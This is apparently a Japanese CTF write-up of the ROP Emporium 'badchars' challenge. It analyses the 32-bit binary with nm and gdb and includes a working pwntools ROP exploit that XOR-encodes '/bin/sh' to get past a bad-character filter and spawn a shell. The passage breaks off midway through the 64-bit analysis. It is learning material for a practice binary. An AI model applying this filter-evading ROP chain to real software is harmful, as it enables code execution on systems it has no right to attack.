ROP Emporium badchars writeup

# ROP Emporium

ROPの練習問題集

[ROP Emporium](https://ropemporium.com/)

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

## writeup link

- [ret2win](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)
- [split](https://qiita.com/ham_o_o_/items/a84c90f033f20854ddd8)
- [callme](https://qiita.com/ham_o_o_/items/8aa7055c284feac4f6a1)
- [write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)
- [badchars](https://qiita.com/ham_o_o_/items/14c59aa72cbd9ba9fab0)
- [fluff](https://qiita.com/ham_o_o_/items/42144f50a44daf8afbf5)

## badchars32 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

```
# file ./badchars32
./badchars32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=646a0ec0b6adaad4385d7845987e7001264db871, not stripped
# 
#
#
# ./badchars32 
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> test

Exiting
# 
```

`badchars are: b i c / <space> f n s`のメッセージが出力される。
試しに、badcharsとして挙げられた文字を入力してみる。
特に出力に変化はない。

```
# ./badchars32 
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> bic/

Exiting
# 
```


nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)

```
# nm badchars32
0804a040 B __bss_start
08048801 t checkBadchars
0804a068 b completed.7200
0804a038 D __data_start
0804a038 W data_start
08048580 t deregister_tm_clones
080485f0 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a03c D __dso_handle
08049f14 d _DYNAMIC
0804a040 D _edata
0804a06c B _end
         U exit@@GLIBC_2.0
         U fgets@@GLIBC_2.0
08048904 T _fini
08048918 R _fp_hw
08048610 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048b10 r __FRAME_END__
         U free@@GLIBC_2.0
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
0804897c r __GNU_EH_FRAME_HDR
08048440 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
0804891c R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
08048900 T __libc_csu_fini
080488a0 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804863b T main
         U malloc@@GLIBC_2.0
         U memcpy@@GLIBC_2.0
         U memset@@GLIBC_2.0
080487c2 t nstrlen
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080486b6 t pwnme
080485b0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048540 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a040 D __TMC_END__
080487a9 t usefulFunction
08048890 T usefulGadgets
08048570 T __x86.get_pc_thunk.bx
# 
```

usefulFunction / usefulGadgetsというシンボルがある。
また、今までとは違いcheckBadcharsというシンボルがある。

gdbでbadchars32を解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。

usefulFunctionは`/bin/ls`を実行する関数。

```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x080487a9 <+0>: push   ebp
   0x080487aa <+1>: mov    ebp,esp
   0x080487ac <+3>: sub    esp,0x8
   0x080487af <+6>: sub    esp,0xc
   0x080487b2 <+9>: push   0x8048973
   0x080487b7 <+14>:  call   0x80484e0 <system@plt>
   0x080487bc <+19>:  add    esp,0x10
   0x080487bf <+22>:  nop
   0x080487c0 <+23>:  leave  
   0x080487c1 <+24>:  ret    
End of assembler dump.
gdb-peda$ 
```

```
gdb-peda$ x/s 0x8048973
0x8048973:  "/bin/ls"
gdb-peda$ 
```

usefulGadgetsの内容を確認する。

ROP Gadgetで使えそうなのは下記の４つ。
`xor    BYTE PTR [ebx],cl`
`mov    DWORD PTR [edi],esi`
`pop    ebx ; pop    ecx`
`pop    esi ; pop    edi`

```
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x08048890 <+0>: xor    BYTE PTR [ebx],cl
   0x08048892 <+2>: ret    
   0x08048893 <+3>: mov    DWORD PTR [edi],esi
   0x08048895 <+5>: ret    
   0x08048896 <+6>: pop    ebx
   0x08048897 <+7>: pop    ecx
   0x08048898 <+8>: ret    
   0x08048899 <+9>: pop    esi
   0x0804889a <+10>:  pop    edi
   0x0804889b <+11>:  ret    
   0x0804889c <+12>:  xchg   ax,ax
   0x0804889e <+14>:  xchg   ax,ax
End of assembler dump.
gdb-peda$ 
```

pwnme関数の中でいままでの問題ではなかったcheckBadchars関数\<pwnme +191>
が呼び出されている。

```
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x080486b6 <+0>:	push   ebp
   0x080486b7 <+1>:	mov    ebp,esp
   0x080486b9 <+3>:	sub    esp,0x38
   0x080486bc <+6>:	mov    DWORD PTR [ebp-0x30],0x0
   0x080486c3 <+13>:	sub    esp,0xc
   0x080486c6 <+16>:	push   0x200
   0x080486cb <+21>:	call   0x80484c0 <malloc@plt>
   0x080486d0 <+26>:	add    esp,0x10
   0x080486d3 <+29>:	mov    DWORD PTR [ebp-0x2c],eax
   0x080486d6 <+32>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x080486d9 <+35>:	test   eax,eax
   0x080486db <+37>:	je     0x80486f5 <pwnme+63>
   0x080486dd <+39>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x080486e0 <+42>:	sub    esp,0x4
   0x080486e3 <+45>:	push   0x200
   0x080486e8 <+50>:	push   0x0
   0x080486ea <+52>:	push   eax
   0x080486eb <+53>:	call   0x8048520 <memset@plt>
   0x080486f0 <+58>:	add    esp,0x10
   0x080486f3 <+61>:	jmp    0x80486ff <pwnme+73>
   0x080486f5 <+63>:	sub    esp,0xc
   0x080486f8 <+66>:	push   0x1
   0x080486fa <+68>:	call   0x80484f0 <exit@plt>
   0x080486ff <+73>:	sub    esp,0x4
   0x08048702 <+76>:	push   0x20
   0x08048704 <+78>:	push   0x0
   0x08048706 <+80>:	lea    eax,[ebp-0x30]
   0x08048709 <+83>:	add    eax,0x8
   0x0804870c <+86>:	push   eax
   0x0804870d <+87>:	call   0x8048520 <memset@plt>
   0x08048712 <+92>:	add    esp,0x10
   0x08048715 <+95>:	sub    esp,0xc
   0x08048718 <+98>:	push   0x804894c
   0x0804871d <+103>:	call   0x80484d0 <puts@plt>
   0x08048722 <+108>:	add    esp,0x10
   0x08048725 <+111>:	sub    esp,0xc
   0x08048728 <+114>:	push   0x8048970
   0x0804872d <+119>:	call   0x8048480 <printf@plt>
   0x08048732 <+124>:	add    esp,0x10
   0x08048735 <+127>:	mov    edx,DWORD PTR ds:0x804a060
   0x0804873b <+133>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x0804873e <+136>:	sub    esp,0x4
   0x08048741 <+139>:	push   edx
   0x08048742 <+140>:	push   0x200
   0x08048747 <+145>:	push   eax
   0x08048748 <+146>:	call   0x80484b0 <fgets@plt>
   0x0804874d <+151>:	add    esp,0x10
   0x08048750 <+154>:	mov    DWORD PTR [ebp-0x2c],eax
   0x08048753 <+157>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048756 <+160>:	sub    esp,0x8
   0x08048759 <+163>:	push   0x200
   0x0804875e <+168>:	push   eax
   0x0804875f <+169>:	call   0x80487c2 <nstrlen>
   0x08048764 <+174>:	add    esp,0x10
   0x08048767 <+177>:	mov    DWORD PTR [ebp-0x30],eax
   0x0804876a <+180>:	mov    edx,DWORD PTR [ebp-0x30]
   0x0804876d <+183>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048770 <+186>:	sub    esp,0x8
   0x08048773 <+189>:	push   edx
   0x08048774 <+190>:	push   eax
   0x08048775 <+191>:	call   0x8048801 <checkBadchars>
   0x0804877a <+196>:	add    esp,0x10
   0x0804877d <+199>:	mov    edx,DWORD PTR [ebp-0x30]
   0x08048780 <+202>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x08048783 <+205>:	sub    esp,0x4
   0x08048786 <+208>:	push   edx
   0x08048787 <+209>:	push   eax
   0x08048788 <+210>:	lea    eax,[ebp-0x30]
   0x0804878b <+213>:	add    eax,0x8
   0x0804878e <+216>:	push   eax
   0x0804878f <+217>:	call   0x80484a0 <memcpy@plt>
   0x08048794 <+222>:	add    esp,0x10
   0x08048797 <+225>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x0804879a <+228>:	sub    esp,0xc
   0x0804879d <+231>:	push   eax
   0x0804879e <+232>:	call   0x8048490 <free@plt>
   0x080487a3 <+237>:	add    esp,0x10
   0x080487a6 <+240>:	nop
   0x080487a7 <+241>:	leave  
   0x080487a8 <+242>:	ret    
End of assembler dump.
gdb-peda$ 
```

checkBadchars関数の内容を確認してみる。

```
gdb-peda$ pdis checkBadchars
Dump of assembler code for function checkBadchars:
   0x08048801 <+0>:	push   ebp
   0x08048802 <+1>:	mov    ebp,esp
   0x08048804 <+3>:	sub    esp,0x10
   0x08048807 <+6>:	mov    BYTE PTR [ebp-0x10],0x62
   0x0804880b <+10>:	mov    BYTE PTR [ebp-0xf],0x69
   0x0804880f <+14>:	mov    BYTE PTR [ebp-0xe],0x63
   0x08048813 <+18>:	mov    BYTE PTR [ebp-0xd],0x2f
   0x08048817 <+22>:	mov    BYTE PTR [ebp-0xc],0x20
   0x0804881b <+26>:	mov    BYTE PTR [ebp-0xb],0x66
   0x0804881f <+30>:	mov    BYTE PTR [ebp-0xa],0x6e
   0x08048823 <+34>:	mov    BYTE PTR [ebp-0x9],0x73
   0x08048827 <+38>:	mov    DWORD PTR [ebp-0x4],0x0
   0x0804882e <+45>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048835 <+52>:	mov    DWORD PTR [ebp-0x4],0x0
   0x0804883c <+59>:	jmp    0x804887c <checkBadchars+123>
   0x0804883e <+61>:	mov    DWORD PTR [ebp-0x8],0x0
   0x08048845 <+68>:	jmp    0x8048872 <checkBadchars+113>
   0x08048847 <+70>:	mov    edx,DWORD PTR [ebp+0x8]
   0x0804884a <+73>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804884d <+76>:	add    eax,edx
   0x0804884f <+78>:	movzx  edx,BYTE PTR [eax]
   0x08048852 <+81>:	lea    ecx,[ebp-0x10]
   0x08048855 <+84>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048858 <+87>:	add    eax,ecx
   0x0804885a <+89>:	movzx  eax,BYTE PTR [eax]
   0x0804885d <+92>:	cmp    dl,al
   0x0804885f <+94>:	jne    0x804886e <checkBadchars+109>
   0x08048861 <+96>:	mov    edx,DWORD PTR [ebp+0x8]
   0x08048864 <+99>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048867 <+102>:	add    eax,edx
   0x08048869 <+104>:	mov    BYTE PTR [eax],0xeb
   0x0804886c <+107>:	jmp    0x8048878 <checkBadchars+119>
   0x0804886e <+109>:	add    DWORD PTR [ebp-0x8],0x1
   0x08048872 <+113>:	cmp    DWORD PTR [ebp-0x8],0x7
   0x08048876 <+117>:	jbe    0x8048847 <checkBadchars+70>
   0x08048878 <+119>:	add    DWORD PTR [ebp-0x4],0x1
   0x0804887c <+123>:	mov    eax,DWORD PTR [ebp-0x4]
   0x0804887f <+126>:	cmp    eax,DWORD PTR [ebp+0xc]
   0x08048882 <+129>:	jb     0x804883e <checkBadchars+61>
   0x08048884 <+131>:	nop
   0x08048885 <+132>:	leave  
   0x08048886 <+133>:	ret    
End of assembler dump.
gdb-peda$ 
```

\<checkBadchars +6>から\<checkBadchars +34>にかけてBadcharsとして挙げられた文字をstackに積んでいる。
\<checkBadchars +92>でstackに積んだBadcharsと入力文字を比較している。

gdbでstep実行して動作を確認してくと、badcharに当たる文字を0xebに置き換えていることがわかる。
下の出力では`bintest`を入力値としたが、badcharが0xebになっている。

```
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
> bintest
```

```
[-------------------------------------code-------------------------------------]
   0x8048788 <pwnme+210>:	lea    eax,[ebp-0x30]
   0x804878b <pwnme+213>:	add    eax,0x8
   0x804878e <pwnme+216>:	push   eax
=> 0x804878f <pwnme+217>:	call   0x80484a0 <memcpy@plt>
   0x8048794 <pwnme+222>:	add    esp,0x10
   0x8048797 <pwnme+225>:	mov    eax,DWORD PTR [ebp-0x2c]
   0x804879a <pwnme+228>:	sub    esp,0xc
   0x804879d <pwnme+231>:	push   eax
Guessed arguments:
arg[0]: 0xffffd290 --> 0x0 
arg[1]: 0x804b160 --> 0x74ebebeb 
arg[2]: 0x8 
```


```
gdb-peda$ x/12 0x804b160
0x804b160:	0x74ebebeb	0x0a74eb65	0x00000000	0x00000000
0x804b170:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b180:	0x00000000	0x00000000	0x00000000	0x00000000
gdb-peda$ 
```

write4の問題では`system(/bin/sh)`を呼び出すためにpayloadに`/bin/sh`の文字を含んでいたが、今回はその文字が0xebに置き換えられてしまう。
問題文にもあるようにXORを使って、checkBadchars関数をすり抜けるようにROPをつくる必要がある。

>[Moar](https://ejje.weblio.jp/content/moar) XOR

作成したROPは以下の通り処理を行う。
1. メモリ上に`'/bin/sh' ^ 0xff`の値を格納する。
2. `pop ecx`でclに0xffを格納する。
3. `('/bin/sh' ^ 0xff) ^ 0xff`を1文字ずつ計算し、メモリ上に`/bin/sh`の文字を作成する。
[XOR](http://softwaretechnique.jp/OS_Development/Tips/IA32_Instructions/XOR.html)では第一引数に処理結果が格納される。
4. 作成した`/bin/sh`を引数としてsystemを実行する。

```
+--------------------+
|       dummy        |
+--------------------+
| pop esi ; pop edi  |
+--------------------+
|    /bin ^ f0xff    |
+--------------------+
|    write address   |
+--------------------+
|    mov [edi],esi   |
+--------------------+
| pop esi ; pop edi  |
+--------------------+
|     /sh ^ f0xff    |
+--------------------+
|   write address +4 |
+--------------------+

+--------------------+
|       pop ecx      |
+--------------------+
|    0xff ff ff ff   |
+--------------------+

+--------------------+
|       pop ebx      |
+--------------------+
|    write address   |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +1 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +2 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +3 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +4 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+
|       pop ebx      |
+--------------------+
|   write address +5 |
+--------------------+
|    xor [ebx] cl    |
+--------------------+

+--------------------+
|      system@plt    |
+--------------------+
|        dummy       |
+--------------------+
|    write address   |
+--------------------+
```

`/bin/sh`を書き込むメモリのアドレスをどこにするかは[write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)を参考にして決定。

```
gdb-peda$ readelf
.interp = 0x8048154
.note.ABI-tag = 0x8048168
.note.gnu.build-id = 0x8048188
.gnu.hash = 0x80481ac
.dynsym = 0x80481dc
.dynstr = 0x80482ac
.gnu.version = 0x804832e
.gnu.version_r = 0x8048348
.rel.dyn = 0x8048368
.rel.plt = 0x8048388
.init = 0x80483c0
.plt = 0x80483f0
.plt.got = 0x8048470
.text = 0x8048480
.fini = 0x80486e4
.rodata = 0x80486f8
.eh_frame_hdr = 0x804875c
.eh_frame = 0x8048798
.init_array = 0x8049f08
.fini_array = 0x8049f0c
.jcr = 0x8049f10
.dynamic = 0x8049f14
.got = 0x8049ffc
.got.plt = 0x804a000
.data = 0x804a028
.bss = 0x804a040
gdb-peda$ 
```

```
gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/root/ROP_Emporium/write432/write432
0x08049000 0x0804a000 r--p	/root/ROP_Emporium/write432/write432
0x0804a000 0x0804b000 rw-p	/root/ROP_Emporium/write432/write432
0xf7dda000 0xf7df7000 r--p	/usr/lib32/libc-2.29.so
0xf7df7000 0xf7f42000 r-xp	/usr/lib32/libc-2.29.so
0xf7f42000 0xf7faf000 r--p	/usr/lib32/libc-2.29.so
0xf7faf000 0xf7fb1000 r--p	/usr/lib32/libc-2.29.so
0xf7fb1000 0xf7fb3000 rw-p	/usr/lib32/libc-2.29.so
0xf7fb3000 0xf7fb5000 rw-p	mapped
0xf7fce000 0xf7fd0000 rw-p	mapped
0xf7fd0000 0xf7fd3000 r--p	[vvar]
0xf7fd3000 0xf7fd4000 r-xp	[vdso]
0xf7fd4000 0xf7fd5000 r--p	/usr/lib32/ld-2.29.so
0xf7fd5000 0xf7ff1000 r-xp	/usr/lib32/ld-2.29.so
0xf7ff1000 0xf7ffb000 r--p	/usr/lib32/ld-2.29.so
0xf7ffc000 0xf7ffd000 r--p	/usr/lib32/ld-2.29.so
0xf7ffd000 0xf7ffe000 rw-p	/usr/lib32/ld-2.29.so
0xfffdd000 0xffffe000 rw-p	[stack]
gdb-peda$ 
```

書き込み権限があるbss領域をwrite addressとして使用する。

```python
from pwn import *

conn = process('./badchars32')

system_addr=0x80484e0 # system@plt
xor_addr=0x08048890 # xor    BYTE PTR [ebx],cl ; ret
mov_edi_esi_addr=0x08048893 # mov    DWORD PTR [edi],esi ; ret
pop_esi_edi_addr=0x08048899 # pop esi ; pop edi ; ret 
pop_ecx_addr=0x08048897 # pop ecx ; ret
pop_ebx_addr=0x08048461 # pop ebx ; ret
write_mem_addr=0x804a038



payload = 'A'*44

payload += p32(pop_esi_edi_addr)
payload += '\xd0\x9d\x96\x91'
payload += p32(write_mem_addr)
payload += p32(mov_edi_esi_addr)

payload += p32(pop_esi_edi_addr)
payload += '\xd0\x8ch\x00'
payload += p32(write_mem_addr+4)
payload += p32(mov_edi_esi_addr)

payload += p32(pop_ecx_addr)
payload += '\xff\xff\xff\xff'

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+1)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+2)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+3)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+4)
payload += p32(xor_addr)

payload += p32(pop_ebx_addr)
payload += p32(write_mem_addr+5)
payload += p32(xor_addr)

payload += p32(system_addr)
payload += 'A'*4
payload += p32(write_mem_addr)

conn.sendline(payload)
conn.interactive()
```


```
# python badchars32.py
[+] Starting local process './badchars32': pid 5681
[*] Paused (press any to continue)
[*] Switching to interactive mode
badchars by ROP Emporium
32bits

badchars are: b i c / <space> f n s
>$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
```

## badchars writeup

badcharsの64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

```
# file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=adf195423b8ae2d246a212e0054f33e631ae0cd2, not stripped
# 
# 
# ./badchars 
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> test

Exiting
# 
```

`badchars are: b i c / <space> f n s`のメッセージが出力される。
試しに、badcharsとして挙げられた文字を入力してみる。
特に出力に変化はない。

```
# ./badchars 
badchars by ROP Emporium
64bits

badchars are: b i c / <space> f n s
> bic/

Exiting
# 
```

nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)

```
# nm ./badchars
0000000000601080 B __bss_start
0000000000400a40 t checkBadchars
00000000006010a8 b completed.7585
0000000000601070 D __data_start
0000000000601070 W data_start
00000000004007c0 t deregister_tm_clones
0000000000400840 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601078 D __dso_handle
0000000000600e28 d _DYNAMIC
0000000000601080 D _edata
00000000006010b0 B _end
                 U exit@@GLIBC_2.2.5
                 U fgets@@GLIBC_2.2.5
0000000000400bc4 T _fini
0000000000400860 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400e00 r __FRAME_END__
                 U free@@GLIBC_2.2.5
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400c38 r __GNU_EH_FRAME_HDR
0000000000400698 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
0000000000400bd0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000400bc0 T __libc_csu_fini
0000000000400b50 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400886 T main
                 U malloc@@GLIBC_2.2.5
                 U memcpy@@GLIBC_2.14
                 U memset@@GLIBC_2.2.5
00000000004009f0 t nstrlen
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004008f5 t pwnme
0000000000400800 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400790 T _start
00000000006010a0 B stderr@@GLIBC_2.2.5
0000000000601090 B stdin@@GLIBC_2.2.5
0000000000601080 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601080 D __TMC_END__
00000000004009df t usefulFunction
0000000000400b30 T usefulGadgets
# 
```

usefulFunction / usefulGadgetsというシンボルがある。
また、今までとは違いcheckBadcharsというシンボルがある。

gdbでbadcharsを解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```
nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。

usefulFunctionは`/bin/ls`を実行する関数。

```
Dump of assembler code for function usefulFunction:
   0x00000000004009df <+0>:	push   rbp
   0x00000000004009e0 <+1>:	mov    rbp,rsp
   0x00000000004009e3 <+4>:	mov    edi,0x400c2f
   0x00000000004009e8 <+9>:	call   0x4006f0 <system@plt>
   0x00000000004009ed <+14>:	nop
   0x00000000004009ee <+15>:	pop    rbp
   0x00000000004009ef <+16>:	ret    
End of assembler dump.
gdb-peda$ 
```

```
gdb-peda$ x/s 0x400c2f
0x400c2f:	"/bin/ls"
gdb-peda$ 
```

usefulGadgetsの内容を確認する。

ROP Gadgetで使えそうなのは下記の5つ。
`xor BYTE PTR [r15],r14b`
`mov QWORD PTR [r13+0x0],r12`
`pop rdi`
`pop r12; pop r13`
`pop r14; pop r15`


```
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400b30 <+0>:	xor    BYTE PTR [r15],r14b
   0x0000000000400b33 <+3>:	ret    
   0x0000000000400b34 <+4>:	mov    QWORD PTR [r13+0x0],r12
   0x0000000000400b38 <+8>:	ret    
   0x0000000000400b39 <+9>:	pop    rdi
   0x0000000000400b3a <+10>:	ret    
   0x0000000000400b3b <+11>:	pop    r12
   0x0000000000400b3d <+13>:	pop    r13
   0x0000000000400b3f <+15>:	ret    
   0x0000000000400b40 <+16>:	pop    r14
   0x0000000000400b42 <+18>:	pop    r15
   0x0000000000400b44 <+20>:	ret    
   0x0000000000400b45 <+21>:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x0000000000400b4f <+31>:	nop
End of assembler dump.
gdb-peda$ 
```

pwnme関数の中でいままでの問題ではなかったcheckBadchars関数\<pwnme +187>
が呼び出されている。

```
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
   0x00000000004008f5 <+0>:	push   rbp
   0x00000000004008f6 <+1>:	mov    rbp,rsp
   0x00000000004008f9 <+4>:	sub    rsp,0x30
   0x00000000004008fd <+8>:	mov    QWORD PTR [rbp-0x30],0x0
   0x0000000000400905 <+16>:	mov    edi,0x200
   0x000000000040090a <+21>:	call   0x400750 <malloc@plt>
   0x000000000040090f <+26>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000400913 <+30>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400917 <+34>:	test   rax,rax
   0x000000000040091a <+37>:	je     0x400934 <pwnme+63>
   0x000000000040091c <+39>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400920 <+43>:	mov    edx,0x200
   0x0000000000400925 <+48>:	mov    esi,0x0
   0x000000000040092a <+53>:	mov    rdi,rax
   0x000000000040092d <+56>:	call   0x400710 <memset@plt>
   0x0000000000400932 <+61>:	jmp    0x40093e <pwnme+73>
   0x0000000000400934 <+63>:	mov    edi,0x1
   0x0000000000400939 <+68>:	call   0x400770 <exit@plt>
   0x000000000040093e <+73>:	lea    rax,[rbp-0x30]
   0x0000000000400942 <+77>:	add    rax,0x10
   0x0000000000400946 <+81>:	mov    edx,0x20
   0x000000000040094b <+86>:	mov    esi,0x0
   0x0000000000400950 <+91>:	mov    rdi,rax
   0x0000000000400953 <+94>:	call   0x400710 <memset@plt>
   0x0000000000400958 <+99>:	mov    edi,0x400c08
   0x000000000040095d <+104>:	call   0x4006e0 <puts@plt>
   0x0000000000400962 <+109>:	mov    edi,0x400c2c
   0x0000000000400967 <+114>:	mov    eax,0x0
   0x000000000040096c <+119>:	call   0x400700 <printf@plt>
   0x0000000000400971 <+124>:	mov    rdx,QWORD PTR [rip+0x200718]        # 0x601090 <stdin@@GLIBC_2.2.5>
   0x0000000000400978 <+131>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040097c <+135>:	mov    esi,0x200
   0x0000000000400981 <+140>:	mov    rdi,rax
   0x0000000000400984 <+143>:	call   0x400730 <fgets@plt>
   0x0000000000400989 <+148>:	mov    QWORD PTR [rbp-0x28],rax
   0x000000000040098d <+152>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400991 <+156>:	mov    esi,0x200
   0x0000000000400996 <+161>:	mov    rdi,rax
   0x0000000000400999 <+164>:	call   0x4009f0 <nstrlen>
   0x000000000040099e <+169>:	mov    QWORD PTR [rbp-0x30],rax
   0x00000000004009a2 <+173>:	mov    rdx,QWORD PTR [rbp-0x30]
   0x00000000004009a6 <+177>:	mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004009aa <+181>:	mov    rsi,rdx
   0x00000000004009ad <+184>:	mov    rdi,rax
   0x00000000004009b0 <+187>:	call   0x400a40 <checkBadchars>
   0x00000000004009b5 <+192>:	mov    rdx,QWORD PTR [rbp-0x30]
   0x00000000004009b9 <+196>:	mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004009bd <+200>:	lea    rcx,[rbp-0x30]
   0x00000000004009c1 <+204>:	add    rcx,0x10
   0x00000000004009c5 <+208>:	mov    rsi,rax
   0x00000000004009c8 <+211>:	mov    rdi,rcx
   0x00000000004009cb <+214>:	call   0x400740 <memcpy@plt>
   0x00000000004009d0 <+219>:	mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004009d4 <+223>:	mov    rdi,rax
   0x00000000004009d7 <+226>:	call   0x4006d0 <free@plt>
   0x00000000004009dc <+231>:	nop
   0x00000000004009dd <+232>:	leave  
   0x00000000004009de <+233>:	ret    
End of assembler dump.
gdb-peda$ 
```

checkBadchars関数の内容を確認してみる。

```
gdb-peda$ pdis checkBadchars
Dump of assembler code for function checkBadchars:
   0x0000000000400a40 <+0>:	push   rbp
   0x0000000000400a41 <+1>:	mov    rbp,rsp
   0x0000000000400a44 <+4>:	mov    QWORD PTR [rbp-0x28],rdi
   0x0000000000400a48 <+8>:	mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000400a4c <+12>:	mov    BYTE PTR [rbp-0x20],0x62
   0x0000000000400a50 <+16>:	mov    BYTE PTR [rbp-0x1f],0x69
   0x0000000000400a54 <+20>:	mov    BYTE PTR [rbp-0x1e],0x63
   0x0000000000400a58 <+24>:	mov    BYTE PTR [rbp-0x1d],0x2f
   0x0000000000400a5c <+28>:	mov    BYTE PTR [rbp-0x1c],0x20
   0x0000000000400a60 <+32>:	mov    BYTE PTR [rbp-0x1b],0x66
   0x0000000000400a64 <+36>:	mov    BYTE PTR [rbp-0x1a],0x6e
   0x0000000000400a68 <+40>:	mov    BYTE PTR [rbp-0x19],0x73
   0x0000000000400a6c <+44>:	mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000400a74 <+52>:	mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400a7c <+60>:	mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000400a84 <+68>:	jmp    0x400ad1 <checkBadchars+145>
   0x0000000000400a86 <+70>:	mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400a8e <+78>:	jmp    0x400ac5 <checkBadchars+133>
   0x0000000000400a90 <+80>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x0000000000400a94 <+84>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400a98 <+88>:	add    rax,rdx
   0x0000000000400a9b <+91>:	movzx  edx,BYTE PTR [rax]
   0x0000000000400a9e <+94>:	lea    rcx,[rbp-0x20]
   0x0000000000400aa2 <+98>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400aa6 <+102>:	add    rax,rcx
   0x0000000000400aa9 <+105>:	movzx  eax,BYTE PTR [rax]
   0x0000000000400aac <+108>:	cmp    dl,al
   0x0000000000400aae <+110>:	jne    0x400ac0 <checkBadchars+128>
